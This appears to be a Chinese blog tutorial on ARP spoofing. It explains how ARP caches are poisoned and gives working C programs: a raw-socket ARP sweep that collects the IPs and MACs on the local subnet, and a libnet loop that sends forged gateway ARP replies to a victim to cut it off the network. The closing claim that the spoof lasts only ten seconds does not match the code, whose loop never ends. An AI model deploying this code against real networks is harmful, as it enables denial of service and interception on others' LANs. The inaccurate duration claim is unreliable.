获取当前网段的IP、MAC,并对其进行欺骗

获取当前网段的IP、MAC,并对其进行欺骗

这里所说的欺骗,指的是ARP应答欺骗:
正常情况下:一个软件在不同网段之间传输数据的时候,第一次并不知道这个数据包怎么传输过去,这个时候,就会以广播的形式,发送一个ARP请求包,如果发现了相关的网络IP,则会返回一个ARP的应答包,其他的IP也接收到了这个ARP就会将这个包丢弃。
那么ARP应答包里放的是什么呢?其实就返回的最重要的就是一个MAC地址,当获得了这个MAC那么就能往下继续传递数据包。
注意并不是每一次发数据包都会发送这个ARP的请求包,只要一次走通之后,都会在系统上面有记录缓存,但是,这个动态缓存是动态更新的,如果接收到了一个新的ARP应答包,那么这个MAC地址就会被更改。

下面一步一步进行分析:

首先要明白,想要欺骗某个IP,那么前提是要知道它的以太网地址,也就是MAC地址。
动态MAC
当系统发送ARP请求包的时候,目的主机收到的时候,会把自己的MAC地址放在ARP的应答包中返回,但是,这个MAC地址是动态的,也就是收到有一个新的应答包,系统会拆解这个”新的“MAC,并且更新到这个缓存表中。
那么有意思的来了,如果这个回复的ARP中携带的MAC地址是错的怎么办呢?
主机就会发送ARP的请求包,去寻找正确的MAC地址,从而更新这个缓存表。
更有意思的来了,如果一直收到欺骗的应答包呢?
这个IP就会彻底断网,它没有办法找到网关的IP…这个其实真的挺bug的,没有什么简单办法解决。
那么怎么获取别人的MAC呢?

ARP数据包

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ether.h>
 #include <arpa/inet.h>
 #include <net/if.h>
 #include <sys/ioctl.h>
 #include <netpacket/packet.h>
 #include <unistd.h>
 #include <pthread.h>
 void * my_rcvfrom(void * arg)
 {
     int sockfd = *(int *)arg;
     	
	//原始套接字循环读取数据
	while(1)
    {
		sleep(1);
		unsigned char buf[1500]="";                       //用来接收数据,设置为1500,网络上最大包就是这么大
		recvfrom(sockfd,buf,sizeof(buf),0,NULL,NULL);     //recvfrom接收所有类型的数据
		unsigned short op=ntohs(*(unsigned short *)&buf[20]);//查看这个协议的类型,因为占用了两个字节,所以要使用unsigned short * 类型进行强转
		if(op != 2)        //如果不是应答包,那就放弃,进行下次循环
			continue;
		else{
			unsigned char arp_mac[18]="";//定义一个数组,用来组包保存收到的当前网段的所有MAC
			sprintf(arp_mac,"%02x:%02x:%02x:%02x:%02x:%02x",buf[22],buf[23],buf[24],buf[25],buf[26],buf[27]);
			char arp_ip[16]="";//定义一个数组,用来组包保存收到的当前网段的所有IP
			inet_ntop(AF_INET,(void *)buf+28,arp_ip,16);
			printf("%s--------->%s\n",arp_ip,arp_mac);

		}
	}
 }
int main(int argc,char *argv[])
{
	//创建原始套接字
	int sockfd=socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
	if(sockfd<0)
		perror("socket");
	else
		printf("sockfd=%d\n",sockfd);
    //创建线程
    pthread_t pth;
    pthread_create(&pth,NULL,my_rcvfrom,&sockfd);
    pthread_detach(pth);//线程分离,防止阻塞

    
    //获取同一个网段的MAC地址
	int i = 1;
	//循环组包,给当前网段所有的IP发送ARP请求包
    for(i = 1;i<255;i++)
    {
        //组arp请求包
	unsigned char buf[42]={
		0xff,0xff,0xff,0xff,0xff,0xff,//目的mac广播
		0x00,0x0c,0x29,0xf3,0x98,0x3e,//源mac
		0x08,0x06,//帧类型
		0x00,0x01,//硬件类型
		0x08,0x00,//协议类型
		6,
		4,
		0x00,0x01,//op
		0x00,0x0c,0x29,0xf3,0x98,0x3e,//发送端mac
		10,9,71,155,//发送端ip
		0x00,0x00,0x00,0x00,0x00,0x00,//这个是保存目的的mac,填0就好了
		10,9,71,i//请求回复的IP
	};

	  //获取网络接口类型
    struct ifreq ethreq;
    strncpy(ethreq.ifr_name, "ens33", IFNAMSIZ);
    ioctl(sockfd, SIOCGIFINDEX,  &ethreq);
    //定义一个网络接口变量
    struct sockaddr_ll sll;
    bzero(&sll, sizeof(sll));
    sll.sll_ifindex = ethreq.ifr_ifindex;
	
	//发送
	sendto(sockfd,buf,42,0,(struct sockaddr *)&sll,sizeof(sll));
    }	
	

    sleep(30);
    pthread_cancel(pth);
	//关闭套接字
	close(sockfd);
	return 0;
}

获得到当前网段的所有IP与MAC之后,可以对其进行欺骗

#include <stdio.h>
#include <libnet.h>
#include <unistd.h> //sleep()
int main()
{
    //步骤1:数据包初始化
    libnet_t *buf = libnet_init(LIBNET_LINK_ADV, "ens33", NULL);
    if (buf != NULL)
        printf("初始化成功\n");
    int i = 0;
    
    libnet_ptag_t ptag_arp = 0;
    libnet_ptag_t ptag_mac = 0;

    unsigned char dst_mac[] = {0x80, 0xfa, 0x5b, 0x26, 0xd4, 0x10};
    unsigned char src_mac[] = {0x00, 0x0c, 0x29, 0xf3, 0x98, 0x3e};
    unsigned char dst_ip[] = {10, 9, 71, 253};	//想要欺骗的IP
    unsigned char src_ip[] = {10, 9, 71, 1}; 	//伪装成网关给这个IP发arp的应答包
    while(1)
    {
        //步骤2:构造arp数据
        ptag_arp = libnet_build_arp(
        ARPHRD_ETHER, //以太网
        ETHERTYPE_IP, //IP协议
        0x06,         //硬件地址长度
        0x04,         //协议地址长度
        0x02,         //操作类型
        src_mac,      //发送者硬件地址
        src_ip,       //发送者协议地址
        dst_mac,      //目标硬件地址
        dst_ip,       //目标协议地址
        NULL,         //负载
        0,            //负载长度
        buf,          //数据包句柄
        ptag_arp);
    //步骤4:构造mac

        ptag_mac = libnet_build_ethernet(
        dst_mac, //目的mac
        src_mac, //源mac
        0x0806,
        NULL,
        0,
        buf,
        ptag_mac);

        for (i = 0; i < 10; i++)
        {
        sleep(1);
        //步骤5:发送数据
        int ret = libnet_write(buf);

        if (ret != -1)
            printf("发送成功\n"); 
        }
    }
    
    return 0;
}

此处只是循环了10次,也就是大概欺骗了十秒,主机会发送请求ARP从而主机就恢复。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值